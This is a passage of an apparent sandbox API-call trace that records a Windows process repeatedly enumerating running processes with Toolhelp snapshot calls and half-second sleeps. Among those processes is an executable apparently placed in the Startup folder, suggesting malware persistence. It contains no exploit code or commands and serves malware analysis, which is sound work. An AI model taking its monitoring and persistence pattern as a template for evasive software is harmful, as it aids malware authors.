th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.625] GetLastError () returned 0x12 [0275.625] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0275.625] GetLastError () returned 0x12 [0275.626] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.626] GetLastError () returned 0x12 [0275.626] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.626] GetLastError () returned 0x12 [0275.626] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.626] GetLastError () returned 0x12 [0275.626] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.627] GetLastError () returned 0x12 [0275.627] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0275.627] GetLastError () returned 0x12 [0275.627] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0275.627] GetLastError () returned 0x12 [0275.627] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0275.627] GetLastError () returned 0x12 [0275.627] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.628] GetLastError () returned 0x12 [0275.628] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0275.628] GetLastError () returned 0x12 [0275.628] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0275.628] CloseHandle (hObject=0x30c) returned 1 [0275.628] Sleep (dwMilliseconds=0x1f4) [0276.154] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0276.156] Process32FirstW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.156] GetLastError () returned 0x12 [0276.156] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.156] GetLastError () returned 0x12 [0276.156] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.157] GetLastError () returned 0x12 [0276.157] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.157] GetLastError () returned 0x12 [0276.157] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.157] GetLastError () returned 0x12 [0276.157] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.157] GetLastError () returned 0x12 [0276.157] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.158] GetLastError () returned 0x12 [0276.158] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.158] GetLastError () returned 0x12 [0276.158] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.158] GetLastError () returned 0x12 [0276.159] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0276.159] GetLastError () returned 0x12 [0276.159] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.159] GetLastError () returned 0x12 [0276.159] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.159] GetLastError () returned 0x12 [0276.159] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.160] GetLastError () returned 0x12 [0276.160] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.160] GetLastError () returned 0x12 [0276.160] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.160] GetLastError () returned 0x12 [0276.160] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.161] GetLastError () returned 0x12 [0276.161] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.161] GetLastError () returned 0x12 [0276.161] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0276.161] GetLastError () returned 0x12 [0276.161] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.162] GetLastError () returned 0x12 [0276.162] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.162] GetLastError () returned 0x12 [0276.162] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.162] GetLastError () returned 0x12 [0276.162] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.162] GetLastError () returned 0x12 [0276.162] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0276.163] GetLastError () returned 0x12 [0276.163] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0276.163] GetLastError () returned 0x12 [0276.163] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0276.164] GetLastError () returned 0x12 [0276.164] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.164] GetLastError () returned 0x12 [0276.164] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.164] GetLastError () returned 0x12 [0276.164] Process32NextW (in: hSnapshot=0x380, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0276.165] CloseHandle (hObject=0x380) returned 1 [0276.165] Sleep (dwMilliseconds=0x1f4) [0276.676] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c [0276.677] Process32FirstW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.677] GetLastError () returned 0x12 [0276.677] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.677] GetLastError () returned 0x12 [0276.677] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.678] GetLastError () returned 0x12 [0276.678] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.678] GetLastError () returned 0x12 [0276.678] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.678] GetLastError () returned 0x12 [0276.678] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.678] GetLastError () returned 0x12 [0276.678] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.679] GetLastError () returned 0x12 [0276.679] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.679] GetLastError () returned 0x12 [0276.679] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.679] GetLastError () returned 0x12 [0276.679] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0276.679] GetLastError () returned 0x12 [0276.679] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.680] GetLastError () returned 0x12 [0276.680] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.680] GetLastError () returned 0x12 [0276.680] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.680] GetLastError () returned 0x12 [0276.680] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.681] GetLastError () returned 0x12 [0276.681] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.681] GetLastError () returned 0x12 [0276.681] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.681] GetLastError () returned 0x12 [0276.681] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.681] GetLastError () returned 0x12 [0276.681] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0276.682] GetLastError () returned 0x12 [0276.682] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.682] GetLastError () returned 0x12 [0276.682] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.682] GetLastError () returned 0x12 [0276.682] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.683] GetLastError () returned 0x12 [0276.683] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.683] GetLastError () returned 0x12 [0276.683] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0276.683] GetLastError () returned 0x12 [0276.683] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0276.683] GetLastError () returned 0x12 [0276.683] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0276.684] GetLastError () returned 0x12 [0276.684] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.684] GetLastError () returned 0x12 [0276.684] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.684] GetLastError () returned 0x12 [0276.684] Process32NextW (in: hSnapshot=0x39c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0276.684] CloseHandle (hObject=0x39c) returned 1 [0276.684] Sleep (dwMilliseconds=0x1f4) [0277.199] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0277.200] Process32FirstW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.201] GetLastError () returned 0x12 [0277.201] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.201] GetLastError () returned 0x12 [0277.201] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.201] GetLastError () returned 0x12 [0277.201] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.201] GetLastError () returned 0x12 [0277.201] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.202] GetLastError () returned 0x12 [0277.202] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.202] GetLastError () returned 0x12 [0277.202] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.202] GetLastError () returned 0x12 [0277.202] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, 